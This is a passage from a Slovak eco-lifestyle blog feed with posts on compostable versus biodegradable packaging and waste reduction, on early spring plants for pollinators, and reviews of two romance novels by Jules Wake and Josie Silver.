produkty sú biologicky rozložiteľné, ale nie všetky biologicky rozložiteľné produkty sú kompostovateľné.</b> Zásadný rozdiel medzi nimi je v tom, že biologicky rozložiteľné produkty sa rozkladajú na niekoľko prírodných prvkov, zatiaľ čo tie kompostovateľné sa rozkladajú na organický materiál, ktorý predstavuje materiál na opätovné použitie v záhrade.</p><p style="text-align: justify;">K neoceniteľným <b>bonusom kompostovateľných produktov</b> patrí ich <b>zloženie zo 100 % prírodných materiálov</b> bez akýchkoľvek ropných ingrediencií, vďaka čomu nepredstavujú žiadnu ekologickú záťaž a po skončení ich životnosti <b>nekontaminujú prírodu</b>, ale naopak uvoľňujú do pôdy cenné živiny. Okrem toho, <b>procesom kompostovania vracajú do prírody organický uhlík</b> a znižujú produkciu metánu/skleníkových plynov. Preto je nevyhnutné vedieť, čo do kompostu vkladáme, aby sme získali naozaj kvalitný a ekologicky nezávadný kompost.</p><p style="text-align: justify;"><b>Biologicky rozložiteľné produkty majú dlhší čas rozkladu</b> ako kompostovateľné produkty, a v niektorých prípadoch môžu za sebou aj tak zanechať po rozklade toxické látky. Aby boli produkty označené ako biologicky rozložiteľné <b>musia byť schopné sa premeniť na organickú hmotu</b>. Svoj vplyv na životné prostredie však znižujú iba vtedy, keď sa likvidujú správne.</p><p style="text-align: justify;"><b>Recyklovanie ekologických obalov</b> je však udržateľné vtedy, keď je udržateľný aj proces ich rozkladov a majú opätovné využitie. Hoci sa na ich výrobu používajú organické a <b>rýchlo obnoviteľné materiály</b> ako<i> cukrová trstina, kukurica, tráva, bambusové listy, steblá pšenice</i> <i>alebo</i> <i>zemiaky</i> a stávajú sa trendom, tieto obaly nie sú našou jedinou nádejou na záchranu. Môžeme sa pokúsiť tiež <b>zamerať na redukciu spotreby</b> a <b>opakovateľne použiteľné materiály</b>, ktoré <b>minimalizujú potrebu celkovej recyklácie.</b></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK9Pj4XzWbmSgzMqywe3Iqjmhw8sQj4h3ITprKgoBEM57ou5Q5D5cYDQPPFfMNU_yyy9ekCUCTiN3p8lrim1wANuSLv-WnZfLkHaOn0Tn3rnE1bLGRg2YWHru8GbTLDkRMh8OeRc1qj-5VBnQD5V1PM40RizeX9yQazgrdlrhM_IiK8qXMN7usixxUlQ/s1920/redukcia-odpadu-1.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1280" data-original-width="1920" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK9Pj4XzWbmSgzMqywe3Iqjmhw8sQj4h3ITprKgoBEM57ou5Q5D5cYDQPPFfMNU_yyy9ekCUCTiN3p8lrim1wANuSLv-WnZfLkHaOn0Tn3rnE1bLGRg2YWHru8GbTLDkRMh8OeRc1qj-5VBnQD5V1PM40RizeX9yQazgrdlrhM_IiK8qXMN7usixxUlQ/w640-h426/redukcia-odpadu-1.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAjOyWrZphIPvP0QSKLBe0-BcFUKeRSMMzsDpYeHJPAlRMwD60LMMuC2ylkM_pncBqc6zquTAQPB6ykC6YhygneO-pG85coap8coZqly9WCIvDc7J2f23thoGuKhH0Bn0bHHLs8RaexuIsVWmLugX8W5KX6TyVHfOtFUofwQsOjuQp2nIvn_xG2fMp5A/s1920/redukcia-odpadu-2.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1280" data-original-width="1920" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAjOyWrZphIPvP0QSKLBe0-BcFUKeRSMMzsDpYeHJPAlRMwD60LMMuC2ylkM_pncBqc6zquTAQPB6ykC6YhygneO-pG85coap8coZqly9WCIvDc7J2f23thoGuKhH0Bn0bHHLs8RaexuIsVWmLugX8W5KX6TyVHfOtFUofwQsOjuQp2nIvn_xG2fMp5A/w640-h426/redukcia-odpadu-2.jpg" width="640" /></a></div><h3 style="text-align: justify;">Rady pre redukovanie vytvárania odpadu</h3><p style="text-align: justify;"></p><ol style="text-align: left;"><li><span style="font-size: medium;"><b>Vyvarovať sa používaniu jednorazových produktov a obalov,</b> aj keď sú vyrobené a označené ako biodegradovateľné alebo kompostovateľné.</span></li><li><span style="font-size: medium;"><b>Pozorne čítať označenia na obaloch a produktoch</b> a podľa nich zabezpečiť ich správne recyklovanie. Nevyhadzovať do komunálneho odpadu obaly označené ako vhodné na kompostovanie alebo biodegradovanie.</span></li><li><span style="font-size: medium;"><b>Uvážené nakupovanie</b> s dôrazom na potrebu, využiteľnosť a nie trendovosť.</span></li><li><span style="font-size: medium;"><b>Kupovať a používať opakovane použiteľné obaly,</b> napríklad ako sklené fľaše na vodu, misky na jedlo, vrecká na zeleninu a ovocie...</span></li><li><span style="font-size: medium;"><b>Neplytvať papierovými utierkami, vreckovkami a inými papierovými výrobkami.</b> Napríklad pri pečení používať silikónovú podložku namiesto papiera na pečenie.</span></li><li><span style="font-size: medium;"><b>Vyvarovať sa plastovým obalom</b> v čo najväčšej miere.</span></li><li><span style="font-size: medium;"><b>Opraviť poškodené</b> a dať veciam druhú šancu.</span></li></ol><p></p><p style="text-align: justify;">Nikto z nás nie je dokonalý, ale každý, hoci aj malý krôčik, pomôže a ukáže nám, že to má obrovský zmysel. Jednoducho, snažme sa o to najlepšie čo dokážeme urobiť pre zredukovanie odpadu a ak to skúsime všetci, <b>spolu dosiahneme viditeľný výsledok v znížení celkového množstva odpadu</b> a nezáleží na jeho druhu. Napríklad aj pri bežnom nákupe ovocia a zeleniny môžeme ročne zredukovať množstvo mikroténových vreciek aj o stovky až tisícky, rovnako tak aj plastových fliaš z nápojov alebo obalov z polotovarov. O tom, aké sú vlastnosti a výhody najznámejších základných eko materiálov sa dočítate aj <a href="https://www.creocom.sk/info/ekologicke-materialy/" target="_blank">v tomto článku</a>. Všetci nesieme svoju časť zodpovednosti za stav v akom sa naša planéta nachádza, a preto by naše úsilie malo byť ešte výraznejšie.</p><div style="text-align: right;">✍🏻 <i>by Veve & Lulu</i></div><div style="text-align: right;"><i><span style="font-size: x-small;">zdroj foto: pexels</span></i></div>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-56683232457457703812022-04-25T19:00:00.001+02:002022-04-25T19:00:29.315+02:00Jarné rastliny ako prvý zdroj nektáru a peľu<p style="text-align: justify;"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin3BTwv-wChQfE15Aemo4NCp5mDojUPonGbH1qGxgh6qfEtzBRQ4gvGOF8A8H3FOzLaNs_LJaq2UXCk4IM7r5IJYNz2XprGevt9xwVWys-oYviZkp_OqzO7Q6zvRQi6_E485nR9xlRonV1A7G3_eHl9SGFnF35TcEFgDX_G3kZP2iTdBnbbEoprPavTQ/s815/Jarne-rastliny_zdroj-nektaru-pelu.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="545" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin3BTwv-wChQfE15Aemo4NCp5mDojUPonGbH1qGxgh6qfEtzBRQ4gvGOF8A8H3FOzLaNs_LJaq2UXCk4IM7r5IJYNz2XprGevt9xwVWys-oYviZkp_OqzO7Q6zvRQi6_E485nR9xlRonV1A7G3_eHl9SGFnF35TcEFgDX_G3kZP2iTdBnbbEoprPavTQ/s16000/Jarne-rastliny_zdroj-nektaru-pelu.jpg" /></a></div><p style="text-align: justify;"><b style="font-weight: bold;">Následky klimatických zmien</b> takmer vždy so sebou nesú výhradne negatívne dopady. Napríklad predpokladaný zvýšený výskyt a <b>intenzita sucha</b> v mnohých regiónoch sveta, pravdepodobne okrem iného, <b>ovplyvnia aj zdroje kvetov, nektáru a peľu</b>, ktoré sú bežne dostupné pre rôzne druhy opeľovačov. <b>Význam divokých opeľovačov je pre náš ekosystém nezastupiteľný</b> a nedostatok potravy len prehlbuje problémy s ich úhynom.</p><p></p><p style="text-align: justify;"></p><blockquote><span style="font-size: large;">Ďalším následkom sucha môže byť tiež <b>zmena zloženia a funkčnosti rastlinných spoločenstiev, ktoré sú priamo postihnuté klimatickými zmenami.</b> Už počas jari sa pravdepodobnosť výskytu suchej klímy v záhrade z roka na rok zväčšuje, snehová pokrývka býva nedostatočná a nevytvára sa tak ani dostatok podzemnej vody.</span></blockquote><p></p><p style="text-align: justify;">No napriek tejto nepriaznivej situácii, už s prvými teplejšími slnečnými lúčmi môžeme pozorovať poletujúci hmyz ako neúnavne hľadá vhodnú potravu. <b>Užitočným zdrojom potravy</b> v tomto období sú pre nich viaceré druhy prvých jarných kvetov či kvitnúcich krov a stromov. Mnohé sú nenáročné tak na starostlivosť ako aj na podmienky pestovania, a preto prinášame niekoľko tipov na<b> rastliny, ktoré je vhodné zakomponovať do výsadby </b>v záhrade. Alebo im, najmä v prípade buriny, aspoň môžeme ponechať trochu viac priestoru, hoci nám jej prítomnosť nie je veľmi pochuti.</p><h3 style="text-align: justify;">KROKUS</h3><p style="text-align: justify;">Malé no určite nie nenápadné krokusy v záhrade hrdo vyťahujú hlavičky ešte zo snehovej pokrývky a právom sa radia medzi <b>prvých poslov jari</b>. Biele, žlté, fialové alebo pruhované, to je v podstate jedno, dôležité je, aby boli <b>zasadené v početnejšej výsadbe</b>. Tá je väčším <b>lákadlom</b> a zároveň aj väčším <b>zdrojom nektáru</b>. Okrem toho vynikajúco vyzerajú vysadené v nádobe rovnako ako aj vo väčšej časti trávnika na to určenej. Dôležité je dbať na slnečné alebo aspoň čiastočne slnečné stanovisko, inak sú na starostlivosť naozaj nenáročné.</p><h3 style="text-align: justify;">PRVOSIENKA</h3><p style="text-align: justify;">Vidieť rozkvitnuté bezbyľové prvosienky nie je problém už ani počas decembra. Záleží to samozrejme od klimatického pásma a aktuálnych podmienok, napriek tejto skutočnosti ich zaraďujeme k skorým jarným rastlinám. Prvosienky sú mimoriadne <b>nenáročné</b> na pestovanie, sú <b>odolné</b> a patria k trvácim záhradným druhom poskytujúcim žltý <b>peľ</b>, ktorý je vítaným<b> zdrojom energie a proteínov</b>.</p><h3 style="text-align: left;">PÚPAVA</h3><p style="text-align: justify;">V prípade púpavy, asi môžeme vylúčiť možnosť dobrovoľného zakomponovania do záhradnej výsadby, no ako burinu ju poznáme každý. V jej prípade by sme sa však mali <b>zamerať nie na totálnu likvidáciu, ale skôr postupné kosenie</b> tak, aby sme vždy nechali nejaký kúsok trávnika s rozkvitnutými žltými hlávkami. Tie sú obrovskou zásobárňou silne voňavého peľu a <b>právom patria k významne medonosným rastlinám</b>. Púpava je široko rozšírená, pričom kvitne od jari do jesene. A keď sa na ňu prestaneme pozerať ako len na burinu, môžeme oceniť aj jej liečivé široké účinky.</p><h3 style="text-align: justify;">VŔBA</h3><p style="text-align: justify;">Kvety vŕby alebo jahňady radia vŕby medzi <b>vysoko medonosné rastliny</b>, ktoré produkujú dostatok nektáru pre včely. Problémom však je, že kvitnú pomerne skoro a teda ešte počas chladného počasia, v ktorom včely a iné opeľovače nelietajú alebo len veľmi zriedka. Inak je tento symbol jari lákadlom a jej <b>prvý nektár</b> je bohatým zdrojom potravy. Existujú však aj druhy, ktoré kvitnú niečo neskôr, napríklad vŕba lykovcová.</p><h3 style="text-align: justify;">OVOCNÉ STROMY</h3><p style="text-align: justify;">Čerešne, jablone, slivky, broskyne alebo marhule, na druhu stromu rozhodne nezáleží. Keď zakvitnú sú nádherné na pohľad a znamenajú obrovské <b>množstvo peľu pre všetky možné skupiny opeľovačov</b>, pre ktoré sú vítanou zmenou po zimnom hladovaní. A tiež platí jednoduchá rovnica, čím viac stromov a opelených kvetov, tým väčší výnos ovocia.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt7l5AbFDOOCECzcwnaCaeUcSaWFY_e0AY2P1nm6_JK4pq6dKtoXLnkeyB5gozDG8cKeyunndg2YTkhjJi-K6GyXwv14Xr226Qcpno3NQkQzx_61uLD8MLQpAhP00ncSaPknCe2SKmyPu1Ar19yLGrN3lk8asGfz4iwG6zxHgLBpc3HeKfRtn0uG2nLw/s1920/Prvy-zdroj_nektaru-pelu.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1280" data-original-width="1920" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt7l5AbFDOOCECzcwnaCaeUcSaWFY_e0AY2P1nm6_JK4pq6dKtoXLnkeyB5gozDG8cKeyunndg2YTkhjJi-K6GyXwv14Xr226Qcpno3NQkQzx_61uLD8MLQpAhP00ncSaPknCe2SKmyPu1Ar19yLGrN3lk8asGfz4iwG6zxHgLBpc3HeKfRtn0uG2nLw/w640-h426/Prvy-zdroj_nektaru-pelu.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjph3ITMhmSnKH5ObZfThTMkHDL-EdALzaSYFVBdCWX3QLCWgcrg3uAfLC3AbS21uePHYxzPYImYlg9LdiDm5AnYpOh8lVbCJZypycCu863QQuAc5sUcBsTg_ji7fVvjlbBl4U-DWhQ7Qc_zb0Ie3OAyUGWC9XAQw-z0DWPYD4gx1WF4zTLCemUJ_XeEQ/s1920/Jarne-rastliny-pre-opelovace.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1280" data-original-width="1920" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjph3ITMhmSnKH5ObZfThTMkHDL-EdALzaSYFVBdCWX3QLCWgcrg3uAfLC3AbS21uePHYxzPYImYlg9LdiDm5AnYpOh8lVbCJZypycCu863QQuAc5sUcBsTg_ji7fVvjlbBl4U-DWhQ7Qc_zb0Ie3OAyUGWC9XAQw-z0DWPYD4gx1WF4zTLCemUJ_XeEQ/w640-h426/Jarne-rastliny-pre-opelovace.jpg" width="640" /></a></div><p style="text-align: justify;">Veľké <b>množstvo peľu a nektáru v skorom jarnom období</b> tiež poskytujú <i>rakyty</i> alebo <i>vresovce</i>, pričom <i>liesky</i> a <i>jelše</i> v tomto období zasa poskytujú výhradne peľ. Možností je viacero a stačí zvážiť veľkosť záhrady a vhodné zakomponovanie do už existujúcej výsadby. <b>Opeľovače</b> všeobecne sú <b>dôležitou súčasťou prírody</b> a sú neustále ohrozované mnohými faktormi, nielen klimatickými zmenami, ale aj nevhodným správaním a zasahovaním človeka do prírody používaním pesticídov či monokultúrnym pestovaním. Napriek tomu, že sú spomínané <b>rastliny vysoko vhodné pre ochranu a rozvoj ekologickej rovnováhy a biodiverzity</b>, pamätajte aj na to, že v záujme ochrany svojho zdravia zvážte peľové alergie, ktorými trpíte a postupujte podľa možností svojho zdravotného stavu.</p><p></p><div style="text-align: right;">✍🏻 <i>by Veve & Lulu</i></div><div style="text-align: right;"><i><span style="font-size: x-small;">zdroj foto: pexels.com</span></i></div><p></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-36978516221088414012022-04-22T18:35:00.013+02:002023-01-04T10:25:32.604+01:00ZASNEŽENÝ NOTHING HILL (Jules Wake)<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZrBAoA3lHXuwkRmSe2SGYx5_ozv2dPp-92uTMF3x1mxpaNia-yxN1QJov1U9HA-OTMTwGNxyCOgE0hUSfiwnPEG4q3owiI8nxPopVwLwoqldpC03PFbwuG1AAjeNq3V2y7EZeOuSmSAzl4Rh5yhqQrGFWWs5WWs3FWeGEM1wkF7edPyiPlVhbQwk4OQ/s815/zasnezeny-notting-hill-recenzia-kniha-jules-wake.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="611" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZrBAoA3lHXuwkRmSe2SGYx5_ozv2dPp-92uTMF3x1mxpaNia-yxN1QJov1U9HA-OTMTwGNxyCOgE0hUSfiwnPEG4q3owiI8nxPopVwLwoqldpC03PFbwuG1AAjeNq3V2y7EZeOuSmSAzl4Rh5yhqQrGFWWs5WWs3FWeGEM1wkF7edPyiPlVhbQwk4OQ/s16000/zasnezeny-notting-hill-recenzia-kniha-jules-wake.jpg" /></a></div><p style="text-align: justify;">Každý z nás už isto zažil nejednu <b>nepríjemnú cestu preplneným dopravným prostriedkom</b> so "sprestrením" v podobe ešte nepríjemnejšieho spolucestujúceho. Ale isto nie každý mal šťastie, aby ho poľutoval a podporil ďalší cestujúci, ktorý celý incident sledoval. <b>Viola mala šťastie v nešťastí</b>. Bezohľadná až agresívna žena, ktorá ju neváhala inzultovať puzdrom z violy, jej do života predsa priniesla aj niečo pekné.</p><p style="text-align: justify;"><b>Cesta londýnskym metrom</b> uštedrila Viole úder do tváre, ale dopriala tiež úprimný záujem a súcitný úsmev patriaci atraktívnemu Nateovi. Krátke flirtujúce reči na ceste do opery boli spestrením príchodu do práce, ale tam sa podľa predpokladov aj mali skončiť. O to väčšie bolo prekvapenie, keď sa Nate objavil po Violinej skúške v opere. Na to však existuje jednoduché vysvetlenie. <b>Nate</b> je totiž členom správnej rady základnej školy v <b>Notting Hill</b> a potrebuje pomôcť s nacvičením vianočného predstavenia. A keďže <b>Viola</b> býva v tej istej štvrti, v ktorej je škola a opera potrebuje mecenášske dary Nateovej svokry, neostáva jej nič iné, ako túto ponuku prijať. To, čo sa zdá ako maličkosť, však nakoniec k uskutočneniu potrebuje niečo ako <b>vianočný zázrak</b>. Obaja sa nevedomky nechali nahovoriť na niečo, o čom vlastne nevedeli nič, ale teraz ich čaká zoznam plný nekonečných úloh.</p><p style="text-align: justify;">Náhodné stretnutie dvoch neznámych ľudí vo Viole navodzuje myšlienky na to, či by mohol byť neznámy pánom pravým. Čo však o ňom vie? Možno má priateľku alebo je ženatý. Pravda je niekde uprostred...Nate má manželku, ale tá dala prednosť kariére a odcestovala do zahraničia. Okrem toho, je to práve <b>osamelý otecko s rozkošnou nezbednicou Grace, ktorí poriadne zamotajú Violin život</b>. <i><span style="font-size: large;">"Bože, cítila som, ako ma pália líca, no s takým telom bol asi zvyknutý na obdivné pohľady. Až doteraz som si neuvedomila, aké má široké pleci, aký je mužný. Až veľmi mužný. Chvíľu som premýšľala, či aj on ma dnes vidí v inom svetle." s.109</span></i></p><p style="text-align: justify;"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj13B6rx-wkOg1HcjAcKJHgw1W5My_arQ6XpzOyZTVBB_8xKQ87C0z3creV7X2Kv0bZfRl5sSpafFIOFpM8mx57IxPtMp8CH-PAMd8Ph8MyrF5XWeOAcDLJxwyc3giLS0K31s54OsSqMxyAAVQxOw82BsY58LntirSdKpF8UVCnRqXJYxY2l1PI8WJKPg/s3648/zasnezeny-notting-hill-kniha-jules-wake.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj13B6rx-wkOg1HcjAcKJHgw1W5My_arQ6XpzOyZTVBB_8xKQ87C0z3creV7X2Kv0bZfRl5sSpafFIOFpM8mx57IxPtMp8CH-PAMd8Ph8MyrF5XWeOAcDLJxwyc3giLS0K31s54OsSqMxyAAVQxOw82BsY58LntirSdKpF8UVCnRqXJYxY2l1PI8WJKPg/w640-h480/zasnezeny-notting-hill-kniha-jules-wake.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj01uA6V7u3e7r481jmcavirICtxVdVZCeGdf08C0jSjxylOOKicaERqafdpEqYWmPtHOWKUUZhwQfj-y7z8qrBQRp7v35D72PjTYO9SREkpfe_7Y0n4xclwB4JuMPr8YmpiwFS0_xEKdgfHHVbFpjx-WRhRn1xJarKGmBBxOVU68E9-pxnFfu0IbL3pg/s3648/zasnezeny-notting-hill-jules-wake.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj01uA6V7u3e7r481jmcavirICtxVdVZCeGdf08C0jSjxylOOKicaERqafdpEqYWmPtHOWKUUZhwQfj-y7z8qrBQRp7v35D72PjTYO9SREkpfe_7Y0n4xclwB4JuMPr8YmpiwFS0_xEKdgfHHVbFpjx-WRhRn1xJarKGmBBxOVU68E9-pxnFfu0IbL3pg/w640-h480/zasnezeny-notting-hill-jules-wake.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJ-q8C6IAvPS9vINLKmsiJZSV0msHbwXBg-ggkTmnx9boyQxXniWmHAkQk0zALyR5JfQMBhx0exJrrCOyGiFyR7lnbIYxixAaVTR6cLFjyBjTSRPwZYeECDyAkbiF1BnHtjm6ZvHJuz2vYglvE8Sbza4hDEayzH3VfAH9FjY__3dUFit4xK-S5lXRmxw/s3648/zasnezeny-notting-hill-recenzia-jules-wake.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJ-q8C6IAvPS9vINLKmsiJZSV0msHbwXBg-ggkTmnx9boyQxXniWmHAkQk0zALyR5JfQMBhx0exJrrCOyGiFyR7lnbIYxixAaVTR6cLFjyBjTSRPwZYeECDyAkbiF1BnHtjm6ZvHJuz2vYglvE8Sbza4hDEayzH3VfAH9FjY__3dUFit4xK-S5lXRmxw/w640-h480/zasnezeny-notting-hill-recenzia-jules-wake.jpg" width="640" /></a></div><br /><div style="text-align: justify;">Zrazu majú títo traja pred sebou <b>veľa zaujímavých situácií spojených s prípravou na Vianoce</b>, s ktorými si musia poradiť (takmer ako rodina). Situáciu komplikuje zlomená noha Violinej mamy, otec odcestovaný do USA a tiež jej sesternice, ktoré ju, dá sa povedať, bezohľadne využívajú pri starostlivosti o deti. Pretože hrať na violu, aj keď v londýnskej opere, je podľa ich kritérií vlastne zanedbateľná kariéra s množstvom voľného času. Je preto viac ako otázne, či pre nich dvoch <b>existuje spoločná budúcnosť alebo ich pohltí krehkosť okolností</b>. Neprítomnosť matky vníma Grace oveľa viac ako sa zdá na prvý pohľad a hoci si Violu obľúbi, je jasné, že to nie je jej matka. Nate je na tom celkom podobne. Po všetkých sklamaniach si absolútne nie je istý, či <b>je Viola tá správna žena v jeho živote</b>. Navyše, sám sa obviňuje, že pre záchranu svojho manželstva mohol urobiť viac. Udalosti sa zamotávajú a dni plynú. Okrem toho, stále existuje možnosť, že sa vráti Elaine (manželka) a to bude znamenať výrazný zlom v živote všetkých zúčastnených.</div><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMgyluy2xwCFno08UFywFSXURzasBBPhA48RpUriFnnd4IkO3Ahc9zL1img6h2sicIyyb_nuycLapBUqwdGMm7Sm21HDX5EghssCIbk3jTiW9IjPmYNIfxigt2--V258wcu-3vKUtwRXZ_0AEcMlEBi6Q_hKmvVEGOvOU8VBf6JpudxwTsgiwUn9IY7Q/s3648/zasnezeny-notting-hill-beletria-jules-wake.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMgyluy2xwCFno08UFywFSXURzasBBPhA48RpUriFnnd4IkO3Ahc9zL1img6h2sicIyyb_nuycLapBUqwdGMm7Sm21HDX5EghssCIbk3jTiW9IjPmYNIfxigt2--V258wcu-3vKUtwRXZ_0AEcMlEBi6Q_hKmvVEGOvOU8VBf6JpudxwTsgiwUn9IY7Q/w640-h480/zasnezeny-notting-hill-beletria-jules-wake.jpg" width="640" /></a></div><p style="text-align: justify;"><span style="text-align: start;"></span></p><blockquote style="text-align: justify;"><span style="font-size: large;">"Z neba stále padali <b>veľké snehové vločky,</b> <b>leskli sa vo vianočných svetlách a záhrady premieňali na rozprávkové krajiny</b>....Kde-tu bolo v oknách už vidieť vianočné stromčeky, svetlá alebo iné dekorácie. Na parapetoch stáli vianočné svietniky.“ s. 159</span></blockquote><p></p><p style="text-align: justify;">A keď na <b>Londýn</b> začne padať <b>prvý sneh</b>, o magické okamihy nie je núdza. Začnú sa plniť aj tie najodvážnejšie priania? <b>Magická vianočná atmosféra</b>, napríklad aj tá v krčme Churchill Arms a 97 vianočných stromčekov, pohltí každého a výnimkou nebudú ani Nate a Viola. <span style="font-size: large;"><i>"Obom nám došli slová. Videla som, že tiež preglgol, pozrel mi na ústa a tiež prehltol. Iba jeden bozk. Jeden bozk. Bolo by to také zlé?“ s.178</i></span></p><br /><b>Originálny názov:</b> Notting Hill in the Snow<br /><b>Autor:</b> Jules Wake<br /><b>Vydavateľstvo:</b> <a href="http://www.aktuell.sk/" target="_blank">Aktuell</a><br /><b>Rok vydania:</b> november, 2020<br /><b>Počet strán:</b> 352<br /><b>Bežná predajná cena:</b> 14,90 €<br /><b>Žáner/doba:</b> romantická vianočná beletria zo súčasnosti<h4 style="text-align: justify;">Záverečné zhrnutie: </h4><p style="text-align: justify;">Pútavý <a href="https://www.pantarhei.sk/278314-zasnezeny-notting-hill-jules-wake" target="_blank">vianočný príbeh</a> <b>chytí za srdce</b> každého, kto miluje tému Vianoc, zasnežených dní, úžasnej londýnskej štvrti Notting Hill a hľadania pravej lásky. Rozhodne neočakávajte len presladenú romancu so šťastným koncom. V tomto príbehu nejde len o romantické chvíľky. Postupné zbližovanie sa vyvažuje realisticky opísaná postava Grace, ktorá bezpodmienečne túži po materskej láske a často sa správa oveľa dospelejšie, než je pre dieťa jej veku vhodné. Rovnako je na tom aj Nate, ktorý zasa bojuje s komplikáciami v nefunkčnom manželstve. Napriek tomu, kniha <b>Zasnežený Notting Hill</b> určite nesklame nikoho, kto sa chce (hoci aj kedykoľvek) naladiť na Vianoce a prežiť romantickú lásku, ktorá roztápa aj sneh. </p><p style="text-align: right;">✍🏻 <i>by Lulu</i></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-13814061600592271122021-10-28T18:45:00.000+02:002021-10-28T18:45:30.023+02:00DVAJA V JEDNOM SRDCI (Josie Silver)<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuMoJfG2CSWt_D_RfOIxBvMHtPP0OQxAS2bvPGDTB4OXuzI1I-9jOxJSpeSCnokWY-pLkYv5QgjkS1xWEfnFQWTsq-6Dk7T1Au57cev3-8u3sCqEweO-dF8GSSHe6IwS0lYTtvlhei298E/s815/recenzia-kniha-josie-silver-dvaja-v-jednom-srdci.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="611" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuMoJfG2CSWt_D_RfOIxBvMHtPP0OQxAS2bvPGDTB4OXuzI1I-9jOxJSpeSCnokWY-pLkYv5QgjkS1xWEfnFQWTsq-6Dk7T1Au57cev3-8u3sCqEweO-dF8GSSHe6IwS0lYTtvlhei298E/s16000/recenzia-kniha-josie-silver-dvaja-v-jednom-srdci.jpg" /></a></div><p style="text-align: justify;">Mnohé veci, ktoré sa nám v živote stanú, sa len akoby nebadane prešmyknú okolo nás, ale zanechajú trvalú a nezmazateľnú stopu. Ich dôležitosť si uvedomíme až oveľa neskôr, ak vôbec. Väčšinou ide o maličkosti ako napríklad zamávanie na rozlúčku, rýchly telefonát pred dôležitou skúškou alebo stretnutím alebo aj nečakaný úsmev od neznámeho na ulici. <b>Jednoduché a obyčajné udalosti</b>, ktoré po čase získajú vo vašom živote absolútnu dôležitosť a spomínate si na ne aj roky. Niekedy v dobrom, ale niekedy aj v zlom. Žiaľ, aj to patrí k životu. Vysvetlite to však mladej žene, ktorá má niekoľko mesiacov pred svadbou a <b>jediný telefonát zrúti jej celý doterajší život</b>.</p><p style="text-align: justify;"><b>Lydia Birdová</b> a <b>Freddie Hunter</b> sú snúbenci a hlavné postavy príbehu Dvaja v jednom srdci, v ktorom sa realita pretkáva so snovým svetom. Lydia nazýva Freddieho láskou svojho života, no už po prvých riadkoch knihy je jasné, že si navždy a presne zapamätá <b>okamih, ktorý jej zmenil život</b>. 14. marca 2018 o 18:47, v deň jej 28. narodenín, Freddie zahynul pri autonehode.</p><p style="text-align: justify;"><span style="font-size: large;"><i>"Hodiny strávené v realite sa zmenili na hodiny netrpezlivého vyčkávania spojeného s chorobným strachom, že snúbenca už nikdy neuvidím, že už ho nikdy nestretnem. Nedokážem vysvetliť, aký je to pocit, byť v snovom svete." s.70</i></span></p><p style="text-align: justify;">Kým <b>realita</b> sa stala sivá a bolestivá, <b>snový svet</b> je pre Lydiu záchranou aj s pomocou tabletiek na spanie. Ponúka jej pestré farby, prekypuje životom a je návykový. Možno vám to príde neuveriteľné, ale v snovom svete plynule pokračuje život snúbencov a prípravy na ich spoločnú budúcnosť. Preto je tento svet taký lákavý a neodolateľný. Vďaka nemu sa Lydia dozvedá <b>ako by jej život pokračoval</b>, ako dopadne jej svadba aj medová cesta. Ale hoci je to svet snový, ani v ňom sa nedejú len pozitívne veci. Napríklad 